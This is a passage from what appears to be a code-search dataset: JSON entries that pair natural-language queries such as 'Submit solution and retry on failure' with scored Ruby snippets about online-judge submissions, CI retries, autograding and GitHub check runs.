params.require(:base_word).permit(:base_word, :pos_id, :frequency, :language_id)\n end", "title": "" }, { "docid": "0d1661bb15a3e0622dc8df40e6b80567", "score": "0.7384873", "text": "def dictionary_params\n params.require(:dictionary).permit(:word, :language, { variant_ids: [] })\n end", "title": "" }, { "docid": "42794f9fbf9b7ba38408f26b7e441cd4", "score": "0.734623", "text": "def vocabulary_params\n params.require(:vocabulary).permit(:word, :description, :trigger, :picture_id)\n end", "title": "" }, { "docid": "1e89c9e9f14c5865d537ebc8fb12fd5e", "score": "0.7306465", "text": "def img_word_params\n params.require(:img_word).permit(:word, :description, :img)\n end", "title": "" }, { "docid": "10eb5f5b03fe6f025c4b38a5f9fe007c", "score": "0.7292588", "text": "def wordorder_params\n params.require(:wordorder).permit(:user_id, :wordmap_id, :word_id, :serial, :deleted_at)\n end", "title": "" }, { "docid": "10eb5f5b03fe6f025c4b38a5f9fe007c", "score": "0.7292588", "text": "def wordorder_params\n params.require(:wordorder).permit(:user_id, :wordmap_id, :word_id, :serial, :deleted_at)\n end", "title": "" }, { "docid": "61ede6142b98d4efd31bedddccae920a", "score": "0.7287691", "text": "def synonym_params\n params.require(:synonym).permit(:word_synonym, :word_id)\n end", "title": "" }, { "docid": "242d7b4aff43f790b39cb3e0c02f25be", "score": "0.72761154", "text": "def word_video_params\n params.require(:word_video).permit(:video_link, :video_description, :word_id)\n end", "title": "" }, { "docid": "c269d55710fc95644c3c4f58fd778186", "score": "0.72742295", "text": "def rhyme_params\n params.require(:rhyme).permit(:word)\n end", "title": "" } ]
2caed4c2f28497764c0a25d52bdbbdfb
Submit solution and retry on failure. The return value is a hint for getting status and varys at different online judges.
[ { "docid": "4254157b9d124f6f6a8d72732af335bc", "score": "0.6800582", "text": "def submit!(pid, code, lang, retries = nil)\n retries ||= self.retries\n retries.times do\n begin\n ret = submit pid, code, lang\n return ret if ret\n rescue\n end\n end\n raise OperationFailureError, \"Fail to submit\"\n end", "title": "" } ]
[ { "docid": "db89b684581c9233c6e1ab72624d0ad1", "score": "0.68091756", "text": "def submit\n solution = @entry.text\n return self.retry() if solution.empty?\n self.solved(solution)\n end", "title": "" }, { "docid": "51f0f4e53c3cd33597b9bb375047a614", "score": "0.6445722", "text": "def judge!(pid, code, lang, retries = nil, duration = nil)\n id = submit!(pid, code, lang, retries)\n status!(id, retries, duration)\n end", "title": "" }, { "docid": "c0e18cad9d36f62ff8d37384c3806bf2", "score": "0.61604226", "text": "def retry\n CircleCi.request(conf, \"#{base_path}/#{build}/retry\").post\n end", "title": "" }, { "docid": "9f467dbe17d440a037c5a0b39a3c7469", "score": "0.6142512", "text": "def retry_failing_jobs\n projects.each do |project|\n project_id = project['id']\n @logger.info \"Checking Project ##{project_id} \\\"#{project['name']}\\\"...\"\n\n unpassing_jobs = latest_unpassing_jobs(project_id)\n unpassing_pipelines = latest_unpassing_pipelines(project_id)\n\n if unpassing_pipelines.empty?\n @all_pipelines_passing[project_id] = true\n @logger.info '- All pipelines passing'\n else\n @all_pipelines_passing[project_id] = false\n end\n\n if !unpassing_jobs.empty? && !unpassing_pipelines.empty?\n unpassing_jobs.each do |job|\n message = \"- Job ##{job['id']} ('#{job['name']}') \"\\\n \"on branch '#{job['ref']}' has status %s\"\n if ['failed', 'canceled', 'manual'].include?(job['status'])\n # Rerun individual jobs\n @logger.info format(message, \"'#{job['status']}'. Retrying...\")\n api(\"projects/#{project_id}/jobs/#{job['id']}/retry\", :post)\n else\n @logger.info format(message, \"'#{job['status']}'. Skipping retry.\")\n end\n end\n else\n unpassing_pipelines.each do |pipeline|\n message = \"- Pipeline ##{pipeline['id']} on branch \"\\\n \"'#{pipeline['ref']}' has status %s\"\n if ['failed', 'canceled', 'manual'].include?(pipeline['status'])\n # Rerun the whole pipeline\n @logger.info format(message, \"'#{pipeline['status']}'. Retrying...\")\n api(\"projects/#{project_id}/pipelines/#{pipeline['id']}/retry\", :post)\n else\n @logger.info format(message, \"'#{pipeline['status']}'. Skipping retry.\")\n end\n end\n end\n end\n\n exit_if_all_pipelines_passing\nend", "title": "" }, { "docid": "fbb4e8399d3af839f9bbe59038ea1243", "score": "0.58438045", "text": "def grade!\n uri = URI.parse problem.endpoint.url\n response = Net::HTTP.post_form uri, task: problem.task_name, code: code\n verdict = Verdict.from_endpoint_response response, self\n verdict.save!\n end", "title": "" }, { "docid": "f038ef9b971d7dab7b887df64475b8df", "score": "0.5798144", "text": "def create\n create_params = status_params\n create_params[:username] = current_user.username\n create_params[:time_submit] = Time.now\n create_params[:result] = t(\"status.results.waiting\")\n create_params[:ipaddr] = request.remote_ip\n create_params[:jnum] = 0\n create_params[:contest_belong] = 0 if @contest && @contest.ended?\n\n @status = Status.new(create_params)\n if @status.save\n begin\n send_socket_message(\n runid: @status.runid,\n vname: @problem.vname,\n type: OJ_CONFIG[\"contact\"][\"string\"][\"submit\"])\n @problem.total_submit = @problem.total_submit + 1\n @problem.save\n current_user.total_submit = current_user.total_submit + 1\n current_user.save\n rescue\n end\n render json: { msg: t(\"status.prompts.submitted\") }, status: :created\n else\n render json: { msg: @status.errors }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "2497d12683f2eab0dd358e32df51f911", "score": "0.5735026", "text": "def try!\r\n raise \"Invalid status: message must be in progress to try!\" unless [:in_progress].include? self.status\r\n\r\n new_status = self.execute\r\n if :retry == new_status\r\n if self.tries >= self.max_tries\r\n new_status = :fail\r\n logger.fatal \"AsyncCommand #{self.id} failed on #{self.max_tries} maximum tries\"\r\n else\r\n self.push_next_try_at\r\n end\r\n end\r\n self.status = new_status\r\n self.save!\r\n end", "title": "" }, { "docid": "8037a545e351deeb761b95fc850f7ddc", "score": "0.56231135", "text": "def check_submit_valid\n begin\n if params[:status][:source].length > \n JS_CONFIG[\"limits\"][\"max_source_code_len\"]\n raise t(\"status.prompts.source_code_too_long\") \n end\n begin\n @problem = Problem.find(params[:status][:pid])\n rescue\n raise t(\"problem.prompts.nonexist\")\n end\n if params[:status][:contest_belong].to_i == 0 &&\n @problem.hide && !current_user.is_admin?\n raise t(\"problem.prompts.nonexist\")\n else\n begin\n @contest = Contest.find(params[:status][:contest_belong].to_i)\n rescue\n raise t(\"contest.prompts.nonexist\")\n end\n unless @contest.has_user(current_user.username)\n raise t(\"global.prompts.access_denied\");\n end\n if ContestProblem.where(\n cid: params[:status][:contest_belong].to_i,\n pid: params[:status][:pid].to_i).empty?\n raise t(\"problem.prompts.nonexist\")\n end\n end\n raise t(\"status.prompts.language_unspecified\") if \n params[:status][:language].to_i == 0\n last_status = Status.where(username: current_user.username)\n .order(time_submit: :desc).first\n raise t(\"global.prompts.too_frequent\") if\n Time.now - last_status.time_submit < 5\n rescue Exception => e\n render status: :not_acceptable, json: { msg: e.message }\n return\n end\n end", "title": "" }, { "docid": "553002fc0b839dd3475db76afd706b12", "score": "0.56230354", "text": "def complete\n # # step 0: 对Solutions的结果做voting,并将最终结果存入Problem的result中\n # PhotoRecognitionJob.perform_later(self.id.to_s)\n # step 1: 修改Problem的状态为solved,未完成的Solutions的状态为failed\n self.set(status: :solved)\n self.solutions.each { |solution|\n if solution.status.waiting?\n solution.set(status: :failed)\n end\n }\n # # step 2: 修改Seeker与Solvers的credit\n # self.creator.crowdsourcing_profile.decrease_credit(self.credit_expend)\n # self.creator.crowdsourcing_profile.decrease_prepared_credit(self.credit_prepared)\n # self.creator.crowdsourcing_profile.touch(:updated_at)\n # self.creator.crowdsourcing_profile.save\n # self.solutions.each { |solution|\n # if solution.status.solved?\n # solution.creator.crowdsourcing_profile.increase_credit(solution.problem.credit)\n # solution.creator.crowdsourcing_profile.touch(:updated_at)\n # solution.creator.crowdsourcing_profile.save\n # end\n # }\n # step 3: 修改Seeker_Profile中的 finished + 1 以及积分变化\n # 修改Solver_Profile:如果完成,finished + 1,积分变化;如果失败,failed + 1,积分不变\n self.creator.seeker_profile.increase_finished\n # self.creator.seeker_profile.increase_credit(self.credit_expend)\n self.creator.seeker_profile.touch(:updated_at)\n self.creator.seeker_profile.save\n self.solutions.each { |solution|\n if solution.status.solved?\n solution.creator.solver_profile.increase_finished\n # solution.creator.solver_profile.increase_credit(solution.problem.credit)\n solution.creator.solver_profile.touch(:updated_at)\n solution.creator.solver_profile.save\n else\n solution.creator.solver_profile.increase_failed\n solution.creator.solver_profile.touch(:updated_at)\n solution.creator.solver_profile.save\n end\n }\n end", "title": "" }, { "docid": "511cf1f6507eb51e510c5fcde6f69fdd", "score": "0.5579476", "text": "def report_retry\n if group_invite_status.errored_creating_repo?\n GitHubClassroom.statsd.increment(\"group_exercise_repo.create.retry\")\n elsif group_invite_status.errored_importing_starter_code?\n GitHubClassroom.statsd.increment(\"group_exercise_repo.import.retry\")\n end\n end", "title": "" }, { "docid": "ff0b6ea8203d663a5a988b2657a02f35", "score": "0.5577254", "text": "def retry\n self.solved(:retry)\n end", "title": "" }, { "docid": "157d013b7fb232b26c691a6a766f783a", "score": "0.5576596", "text": "def read_and_run(access_token, issue_key, issue_id)\n errors = []\n execution_id = 0\n begin \n test_steps = @j2jira.read_test_data(issue_key, issue_id)\n execution_id = @j2jira.new_execution(issue_key, issue_id)\n test_steps.each_with_index do |step, index|\n api_spec_json = JSON.parse(step[\"step\"]) \n errors = @validator.validate_api_spec(api_spec_json)\n return errors unless errors.size.eql?(0)\n api_req_body = step[\"data\"]\n res_schema = step[\"result\"]\n controls = api_spec_json[\"api_spec\"][\"controls\"]\n delay_minutes = controls.nil? ? 0 : controls[\"delay_minutes\"]\n return [] if delay_minutes.eql?(-1)\n puts \"before sleep: #{Time.now}\"\n sleep delay_minutes*60 unless delay_minutes.eql?(0)\n puts \"after sleep #{Time.now}\"\n errs = run_step(access_token, api_spec_json, api_req_body, res_schema)\n errors << \"step #{index} failed with errors: #{errs.join('|')}\" unless errs.size.eql?(0)\n #skip iteration when errors exists in a given step.\n break if errors.size > 0 \n end \n rescue JSON::ParserError => pe\n errors << \"error in test case, please check json format for Test Step, Test Data and Expected Result or the API response\" \n rescue Exception => e \n puts \"exception occured #{e}\"\n errors << \"something went wrong - #{e.message}\"\n ensure\n puts \"do we have errors for the Jira Issue: #{issue_key}? #{errors}\"\n @failed_executions+= 1 unless errors.size.eql?(0)\n @j2jira.update_test_case(execution_id, issue_key, errors) unless execution_id.eql?(0)\n @j2jira.issue_comment(issue_key, errors) \n end \n end", "title": "" }, { "docid": "5ac9ce7817ff04eeae7872bba7f18e62", "score": "0.55627114", "text": "def retry_send_submission\n now = DateTime.now.utc\n queued_at = efile_submission_transitions.where(to_state: \"queued\").pluck(:created_at).max\n if queued_at.nil?\n transition_to!(:failed, error_code: \"TRANSMISSION-SERVICE\", raw_response: \"Unable to retry_send_submission because submission was never queued.\")\n return\n end\n\n age = now.to_time - queued_at.to_time\n if age > 1.days\n transition_to!(:failed, error_code: \"TRANSMISSION-SERVICE\", raw_response: \"Deadline exceeded when retrying send submission. Waited for about 1 day.\")\n return\n end\n\n max_backoff = 60.minutes\n backoff =\n if age > max_backoff\n max_backoff\n else\n age ** 1.25\n end\n retry_wait = backoff + SecureRandom.rand(30)\n GyrEfiler::SendSubmissionJob.set(wait_until: now + retry_wait).perform_later(self)\n end", "title": "" }, { "docid": "2a7f97b345d1fb1f1872e6d1442dbebc", "score": "0.55455434", "text": "def unofficial_submit\n \n feedback_str = request.body.read\n\n @course = Course.where(:id => params[:course_id]).first\n @assessment = Assessment.where(:id => params[:id]).first\n @user = User.where(:email => params[:user]).first\n\n if !@course then\n puts \"ERROR: invalid course\"\n exit\n end\n\n if !@user then\n puts \"ERROR: invalid username (#{user}) for class #{course.id}\"\n exit\n end\n\n if !@assessment then\n puts \"ERROR: Invalid Assessment (#{assessment}) for course #{course.id}\"\n exit\n end\n\n if !@assessment.allow_unofficial then\n puts \"ERROR: This assessment does not allow Unofficial Submissions\"\n exit\n end\n\n @result = params[:result]\n\n if !@result then\n puts \"ERROR: No result!\"\n exit\n end\n\n # Everything looks OK, so append the autoresult to the log.txt file for this lab\n @logger = Logger.new(\"#{Rails.root}/courses/#{@course.name}/#{@assessment.name}/log.txt\")\n @logger.add(Logger::INFO) { \"#{@user.email},0,#{@result}\" }\n\n # Load up the lab.rb file\n modName = @assessment.name + (@course.name).gsub(/[^A-Za-z0-9]/,\"\")\n require(\"#{Rails.root}/assessmentConfig/#{@course.name}-#{@assessment.name}.rb\")\n eval(\"extend #{modName.camelcase}\")\n\n begin\n # Call the parseAutoresult function defined in the lab.rb file. If\n # the list of scores it returns is empty, then we the lab developer is\n # asking us not to create an unofficial submission in the\n # database. Simply return a successful status string to the client and\n # exit.\n scores = parseAutoresult(@result,false)\n\n if scores.keys.length == 0 then \n render :nothing => true and return\n end\n\n # Try to find an existing unofficial submission (always version 0). \n submission = @assessment.submissions.where(:version=>0,:user_id=>@user.id).first\n if !submission then\n submission = @assessment.submissions.new(:version=>0,\n :autoresult=>@result,\n :user_id=>@user.id,\n :submitted_by_id=>0)\n submission.save!()\n else\n #update this one\n submission.autoresult= @result\n submission.created_at = Time.now()\n submission.save!()\n end\n\n\n # Update the scores in the db's unofficial submission using the list\n # returned by the parseAutoresult function\n for key in scores.keys do\n problem = @assessment.problems.where(:name => key).first\n score = submission.scores.where(:problem_id => problem.id).first\n if !score then \n score = submission.scores.new(:problem_id=>problem.id)\n end\n score.score = scores[key]\n score.released = true\n score.grader_id= 0\n score.save!()\n end\n rescue Exception => e\n print e\n end\n\n\n render :nothing => true and return\n\n end", "title": "" }, { "docid": "afec297c612d4118a1cd7ab6ed6f07b5", "score": "0.55284065", "text": "def submit_results(ir, args = {})\n sync_tests(ir) if !@synced\n suite = @project.find_suite(:name => @suite_name)\n\n plan_name = @config.plan_name || args[:plan_name] || nil\n run_name = @config.run_name || args[:run_name] || nil\n run_id = @config.run_id || args[:run_id] || nil\n \n if !run_name.nil? \n run_name = @config.run_name \n @io.puts \"> Created new run with name #{run_name}\"\n\n if plan_name\n plan = @project.find_or_create_plan(:name => plan_name, :id => @project.id)\n run_id = @tr.add_run_in_plan(:project_id => @project.id, :plan_id => plan.id, :name => run_name, :description => args[:run_description], :suite_id => suite.id).id\n else\n run_id = @tr.add_run( :project_id => @project.id, :name => run_name, :description => args[:run_description], :suite_id => suite.id ).id\n end\n @io.puts \"> Created new run: #{run_id}\"\n \n elsif !run_id.nil? \n run_id = @config.run_id \n begin\n run = @tr.get_run(:run_id => @config.run_id) \n @io.puts \"> Found run with id #{run_id}\"\n rescue\n @io.puts \"> Couldn't find run with id #{run_id}\"\n @io.close\n return \"Couldn't find run with id #{run_id}\" \n end\n\n else\n @io.puts \"> run_name and run_id are either nil or not specified\"\n @io.close\n return \"run_name and run_id are either nil or not specified\" \n\n end\n\n i = 0\n if @case_status.empty?\n while i < @ir.results.count\n begin\n section = suite.find_section(:name => @ir.results[i][:name])\n rescue \n @io.puts \"> Couldn't find section with name #{@ir.results[i][:name]}\" \n puts \"Couldn't find section with name #{@ir.results[i][:name]}\"\n end\n case_details(@ir.results[i], section)\n i += 1\n end # while\n end # ifa\n add_case_status(run_id)\n @io.puts \"> Added the test case status\"\n @io.puts \"> Submit Successful\"\n @io.close\n return \"Submitted to Test Rail\"\n end", "title": "" }, { "docid": "a8369c576caa8ca0a65a30b7402b5ff6", "score": "0.5508033", "text": "def submit_result\n process_submit_response(submit_request) if @score > 1363\n end", "title": "" }, { "docid": "6178931cbe6496c83dca1dc2ef76a5b9", "score": "0.5476782", "text": "def submit\n\t\tcontest_id = get_params[:contest_id]\n\t\tstudent_id = current_student.id\n\t\tcproblem_id = get_params[:cproblem_id]\n\t\tstatus = get_params[:status]\n\t\tCproblem.submit(contest_id, cproblem_id, student_id, status)\n\t\trender json: {}\n\tend", "title": "" }, { "docid": "efb84505ef307fd2e015e481aecc8284", "score": "0.54148686", "text": "def can_send_solution\n @send_solution = 0 # Cannot send a solution\n mycontestsolution = nil\n if !@contest.is_organized_by_or_admin(current_user.sk) && @contestproblem.in_progress?\n mycontestsolution = @contestproblem.contestsolutions.where(:user => current_user.sk).first\n if !mycontestsolution.nil?\n @send_solution = 2 # A solution already exists\n elsif current_user.sk.rating >= 200\n @send_solution = 1 # No solution exists and user has >= 200 points\n end\n end\n \n if @send_solution == 0\n flash[:danger] = \"Vous ne pouvez pas enregistrer cette solution.\"\n redirect_to @contestproblem\n elsif @send_solution == 2\n if @contestsolution.nil? # Can happen in \"create\" case when a solution was sent in the meantime\n @contestsolution = mycontestsolution\n elsif mycontestsolution != @contestsolution\n render 'errors/access_refused' and return\n end\n end\n end", "title": "" }, { "docid": "91abab5e07db0b2cd391758e25e3a9d4", "score": "0.5343318", "text": "def solve\n # Balance checking is temporarily disabled because ExpertDecoders has problems with it\n # raise CaptchaZeroBalanceError, \"No credits left on your decaptcha service balance\" if balance < 1\n body = { action: \"upload\", key: @@access_key, gen_task_id: @task_id, file: @image_base64 }\n post_request(body).chomp\n end", "title": "" }, { "docid": "8e60e02cd85c1ef72129370c121a169c", "score": "0.53275615", "text": "def runner\n\n add_breadcrumb \"SOGR Capital Project Analyzer\", builder_capital_projects_path\n add_breadcrumb \"Running...\"\n\n @builder_proxy = BuilderProxy.new(params[:builder_proxy])\n if @builder_proxy.valid?\n\n if @builder_proxy.organization_id.blank?\n org_id = @organization_list.first\n else\n org_id = @builder_proxy.organization_id\n end\n org = Organization.get_typed_organization(Organization.find(org_id))\n\n # set class names whether primary or components are selected\n class_names = FtaAssetClass.where(id: @builder_proxy.fta_asset_classes).distinct.pluck(:class_name)\n\n\n\n\n ['Facility', 'Infrastructure'].each do |klass|\n if params[\"#{klass.downcase}_primary\"].to_i == 1\n if params[\"#{klass.downcase}_component\"].to_i == 1\n class_names << \"#{klass}Component\"\n else\n # do nothing Facility class already added from FTA asset class\n end\n else\n if params[\"#{klass.downcase}_component\"].to_i == 1\n class_names << \"#{klass}Component\"\n class_names.delete(klass)\n else\n # this case can't happen but if it does\n class_names.delete(klass)\n end\n end\n end\n\n # save range of FYs for the org\n org.update(capital_projects_range_fys: @builder_proxy.range_fys.to_i)\n\n Delayed::Job.enqueue CapitalProjectBuilderJob.new(org, class_names, @builder_proxy.fta_asset_classes, @builder_proxy.start_fy, @builder_proxy.start_fy.to_i + @builder_proxy.range_fys.to_i, @builder_proxy.scenario_id, current_user), :priority => 0\n\n # Let the user know the results\n msg = \"SOGR Capital Project Analyzer is running. You will be notified when the process is complete.\"\n notify_user(:notice, msg)\n\n if Rails.application.config.try(:use_new_scenarios_tool)\n redirect_to scenarios_url\n else\n redirect_to capital_projects_url\n end\n\n return\n else\n respond_to do |format|\n format.html { render :action => \"builder\" }\n end\n end\n\n end", "title": "" }, { "docid": "a5266ac560ab01d472ec2a6a58dfd0ca", "score": "0.5326928", "text": "def perform(params)\n\n init_params(params)\n\n r = validate\n return r unless r.success?\n\n return error_with_data(\n 'j_s_gadsj_2',\n 'something_went_wrong',\n GlobalConstant::ErrorAction.default\n ) if @critical_chain_interaction_log.is_failed?\n\n update_airdrop_contract_address\n\n if @critical_chain_interaction_log.is_pending?\n enqueue_self\n else\n enqueue_get_other_tasks_status_job\n end\n\n success\n\n end", "title": "" }, { "docid": "8b652d5fa8f541e4a2e3001b87b8a139", "score": "0.5311505", "text": "def submit\n\n # resource requests\n if self.hard_requests != nil\n reqs = Array.new\n self.hard_requests.keys.each { |cplx| reqs << cplx.to_s + \"=\" + self.hard_requests[cplx].to_s }\n h_res_req = \"-hard -l \" + reqs * \",\"\n end\n\n if self.soft_requests != nil\n reqs = Array.new\n self.soft_requests.keys.each { |cplx| reqs << cplx.to_s + \"=\" + self.soft_requests[cplx].to_s }\n s_res_req = \"-soft -l \" + reqs * \",\"\n end\n\n # build our command-line arguments from our accessor info\n cmdargs = Array.new\n cmdargs << h_res_req if defined?(h_res_req)\n cmdargs << s_res_req if defined?(s_res_req)\n cmdargs << \"-j y\" if self.joinout == true\n cmdargs << \"-o #{self.outfile}\" if self.outfile != nil\n cmdargs << \"-e #{self.errfile}\" if self.errfile != nil\n cmdargs << \"-N #{self.job_name}\" if self.job_name != nil\n cmdargs << \"-cwd\" if self.cwd == true\n cmdargs << \"-wd #{self.wd}\" if self.wd != nil\n cmdargs << \"-q #{self.queue}\" if self.queue != nil\n cmdargs << \"-pe #{self.pe} #{self.pe_slots}\" if (self.pe != nil and self.pe_slots != nil)\n\n # TODO: Implement the rest of the switches as hash keys/options\n\n # we're going to submit a job\n (status,error) = execio \"sudo -u #{self.job_owner} qsub \" + cmdargs * \" \", self.script\n\n # check status\n if status.class == String and status.match(/^Your job(\\-array)* [0-9]+.*submitted$/)\n # TODO: :enumerate => :job is still acting funny. SGE XML is hard to predict\n jobs = RsgeJobs.new self.job_owner\n parse_job_by_id jobs.to_hash[status.match(/^Your job(\\-array)* ([0-9]+).*submitted$/)[2]]\n return 0 \n else\n raise RuntimeError, \"Job submission to SGE failed! => #{status} #{error}\"\n return nil\n end\n end", "title": "" }, { "docid": "9479a14b2c9308c01587ca994e4f9ce9", "score": "0.52981144", "text": "def run_projects puller, projects, logger\n status_queue = Queue.new\n projects_threads = []\n \n projects.each { |project|\n thread = Thread.new do\n status = puller.run(project, @branch)\n status_queue << 1 unless status\n end\n projects_threads << thread\n }\n \n projects_threads.each { |thread|\n thread.join\n }\n\n # Since we're adding only when failures happen,\n # the length of the queue should be good enough for\n # figuring out the number of failures\n status_queue.length\n end", "title": "" }, { "docid": "7753abfa3b9af42e0f0d175d60e172ac", "score": "0.5290208", "text": "def can_submit\n redirect_to problem_path(@problem) and return if @no_new_submission\n if current_user.sk.submissions.where(:problem => @problem, :status => [:draft, :waiting]).count > 0\n redirect_to problem_path(@problem) and return\n end\n end", "title": "" }, { "docid": "c2c3ce675ee03cc8745df7cbc3ee5b86", "score": "0.5288084", "text": "def exec_api_call(rest_type, req, data = nil, exit_on_fail = false)\n max_retry = RETRIES\n get_hash = nil\n attempts = 0\n is_good = false\n while !is_good && attempts < max_retry\n attempts += 1\n get_hash = call_api(req, rest_type, data)\n is_good = get_hash[:status]\n unless is_good\n exit_script() if exit_on_fail\n puts \"Got Error making API call - #{req} \"\n if attempts < max_retry\n puts \"Retrying #{attempts}\"\n sleep(4 * attempts)\n end\n end\n end\n get_hash\n end", "title": "" }, { "docid": "270ef41525ea953dc06c88a572afb1bf", "score": "0.52872676", "text": "def build_job name\n\t\t\tputs \"==> Building job for project: '#{name}'\"\n\t\t\tbegin \n\t\t\t\tbuild_response = RestClient.get \"#{@jenkins_host}:#{@jenkins_port}/job/#{name}/build?delay=0sec\"\n\t\t\t\treturn build_response.code.to_s\n\t\t\trescue Exception => e\n\t\t\t\tputs \"==> Error Building job '#{name}'\"\n\t\t\t\treturn \"500\"\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "950ad64ff9ff6dcc818661f3c3ecbc8a", "score": "0.5286819", "text": "def success!\n ensure_empty_errors!\n ensure_empty_status!\n\n self.performable_status = :success\n self\n end", "title": "" }, { "docid": "0819e0abbfa5152428b784917c5f325c", "score": "0.5279194", "text": "def run_tests\n test_suite = self.task.tests.order(:order)\n testsStrings = test_suite.map do |test|\n test_string = task.fxn_name + \"(\"\n test_string + \"...\"+test.parsed_inputs.to_s + \")\"\n end\n formated_user_code = self.solution.gsub(\"\\n\", \" \")\n data = JSON.dump({user_code: formated_user_code, tests: testsStrings})\n uri = URI.parse(\"https://wci7v1nq8j.execute-api.us-west-2.amazonaws.com/v1\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(uri.request_uri)\n request.body = data\n response = http.request(request)\n response = JSON.parse(response.body)\n if response[\"errorMessage\"]\n message = response[\"errorMessage\"]\n if message.include?(\"timed out\")\n message = \"Task timed out after 4.00 seconds\"\n end\n return {error: true, error_message: message }\n end\n user_results = response[\"results\"]\n test_results = {log: response[\"log\"].gsub(\"\\n\", \"<br/>\"), results: {} }\n test_suite.each_with_index do |test, idx|\n result = user_results[idx]\n passed = result == test.output\n test_result = {\n passed: passed,\n expected: test.output.to_s,\n received: result.to_s\n }\n test_results[:results][test.order] = test_result\n end\n handle_completion(test_results[:results])\n test_results\n end", "title": "" }, { "docid": "32078b6da435d7f9ca4a4f4651f7ddc3", "score": "0.52437794", "text": "def tango_poll(course, assessment, submissions, output_file)\n feedback = nil\n begin\n Timeout.timeout(80) do\n loop do\n response = TangoClient.poll(\"#{course.name}-#{assessment.name}\", \"#{URI.encode(output_file)}\")\n # json is returned when a job is not complete\n unless response.content_type == \"application/json\"\n feedback = response.body\n break\n end\n sleep 3\n end\n end\n rescue Timeout::Error\n return -11\n rescue TangoClient::TangoException => e\n flash[:error] = \"Error while polling for job status: #{e.message}\"\n return -11\n end\n\n if feedback.nil?\n return -12\n else\n if assessment.overwrites_method?(:autogradeDone)\n assessment.config_module.autogradeDone(submissions, feedback)\n else\n # this doesn't work because autogradeDone is defined in submissions_controller\n autogradeDone(submissions, feedback)\n end\n\n return 0\n end\n end", "title": "" }, { "docid": "ecf5ec3db440effc27f473aede694a91", "score": "0.52415526", "text": "def submit\n self.http_get(self.poll_url)#.tap{|t| STDERR.puts \"Trace: #{caller[1]}: returning #{t}\"}\n end", "title": "" }, { "docid": "349ca3e540ec854f6f90650588b8ff65", "score": "0.5238276", "text": "def retry\n reque_single_job(params[:id])\n redirect_to failures_path(redirect_params)\n end", "title": "" }, { "docid": "891fc516a8e876d6598641f3abc29824", "score": "0.5237456", "text": "def check_zombie_jobs # rubocop:disable MethodLength, Metrics/AbcSize\n return unless @submission.attempting?\n\n submitted_answers = @submission.latest_answers.select(&:submitted?)\n return if submitted_answers.empty?\n\n dead_answers = submitted_answers.select do |a|\n job = a.auto_grading&.job\n job && job.submitted? &&\n job.created_at < Time.zone.now - Course::Assessment::ProgrammingEvaluation::TIMEOUT\n end\n\n dead_answers.each do |a|\n old_job = a.auto_grading.job\n job = a.auto_grade!(redirect_to_path: old_job.redirect_to,\n reattempt: true, reduce_priority: true)\n\n logger.debug(message: 'Restart Answer Grading', answer_id: a.id, job_id: job.job.id,\n old_job_id: old_job.id)\n end\n end", "title": "" }, { "docid": "86239775f58bcfd2f8d670dd361270bd", "score": "0.52322096", "text": "def create\n @solution = Solution.new(solution_params)\n #找出正确答案\n id=@solution.assignment_id\n assignment=Assignment.find_by_id(id)\n \n if assignment\n real_answer = assignment.answer.upcase\n answer=@solution.student_answer.upcase\n #对比得到成绩\n @solution.score=comp_string(real_answer,answer)\n session[:secret_key] = nil\n if @solution.save\n flash[:notice] = \"提交成功,本次课堂成绩得到 #{@solution.score.to_s} 分!!\"\n redirect_to \"/sessions/new\"\n else\n flash[:notice] =\"提交保存出现错误,请联系老师说明原因!!\"\n redirect_to \"/sessions/new\"\n end\n else\n flash[:notice] = \"没有找到课堂任务!!\"\n redirect_to \"/sessions/new\"\n end\n end", "title": "" }, { "docid": "27d00a779023b99315f776d8744b87e1", "score": "0.5223151", "text": "def update_success\n @last_failed = false\n @retries = 0\n true\n end", "title": "" }, { "docid": "eaf51b00ae554491e26f3eb32849bb62", "score": "0.5217391", "text": "def run_and_raise_on_failure\n # TODO ?\n end", "title": "" }, { "docid": "50a8f405d5aec34f0200ad96b6923c27", "score": "0.51974046", "text": "def initiate_check_run\n logger.debug \"initiate_check_run\"\n token = get_installation_token\n installation_client = Octokit::Client.new(bearer_token: token)\n\n # This method is called in response to GitHub acknowledging our request to create a check run.\n # We'll first update the check run to \"in progress\"\n # Then we'll run our CI process\n # Then we'll update the check run to \"completed\" with the CI results.\n\n # Octokit doesn't yet support the Checks API, but it does provide generic HTTP methods we can use!\n # https://developer.github.com/v3/checks/runs/#update-a-check-run\n # notice the verb! PATCH!\n result = installation_client.patch(@payload['check_run']['url'], {\n accept: 'application/vnd.github.antiope-preview+json', # This header is necessary for beta access to Checks API\n name: 'Maximum lines of code',\n status: :in_progress\n })\n\n # ***** DO IT! *****\n # This is where we would kick off our CI process. Ideally this would be performed async, so we could\n # return immediately. But for now we'll do a simulated CI process syncronously, and update the check run right here..\n pull_requests = result['pull_requests']\n pr = pull_requests[0]\n logger.debug \"Pull Request #{pr}\"\n repo = pr['base']['repo']['id']\n pr_number = pr['number']\n logger.debug \"Repo: #{repo} PR: #{pr_number}\"\n\n pull = installation_client.pull_request(repo, pr_number)\n logger.debug \"=====================\"\n logger.debug pull\n logger.debug \"=====================\"\n additions = pull['additions']\n # Was this a success?\n result = additions < 400 ? :success : :failure # could also be :failure\n logger.debug \"RESULT IS: #{result}\"\n\n opts = {\n accept: 'application/vnd.github.antiope-preview+json', # This header is necessary for beta access to Checks API\n name: 'Maximum lines of code',\n status: :completed,\n conclusion: result,\n completed_at: Time.now.utc.iso8601,\n\n head_branch: @payload['check_suite'].nil? ? @payload['check_run']['check_suite']['head_branch'] : @payload['check_suite']['head_branch'],\n head_sha: @payload['check_suite'].nil? ? @payload['check_run']['head_sha'] : @payload['check_suite']['head_sha']\n\n }\n\n # If there were more details from a real CI, such as warning details, line numbers, and so forth, we could add them to\n # the opts object here, like this:\n # if result == :failure\n # output = {\n # title: 'Awesome CI Warnings',\n # summary: 'There were problems with the submitted code',\n # annotations: []\n # }\n # ci_output.warnings.each do |warning|\n # # we need to take the local relative path, and extract the repo-relative path\n # filename = warning.filename\n # annotation = {\n # path: filename,\n # blob_href: \"#{@payload['repository']['blobs_url']}/#{filename}\".sub('{/sha}', \"/#{sha}\"),\n # start_line: warning.line_number,\n # end_line: warning.line_number,\n # annotation_level: :warning, #or :failure\n # message: warning.message\n # }\n # output[:annotations].push annotation\n # end\n #\n # opts[:output] = output\n # end\n\n # Now, mark the check run as complete! And if there are warnings, share them\n result = 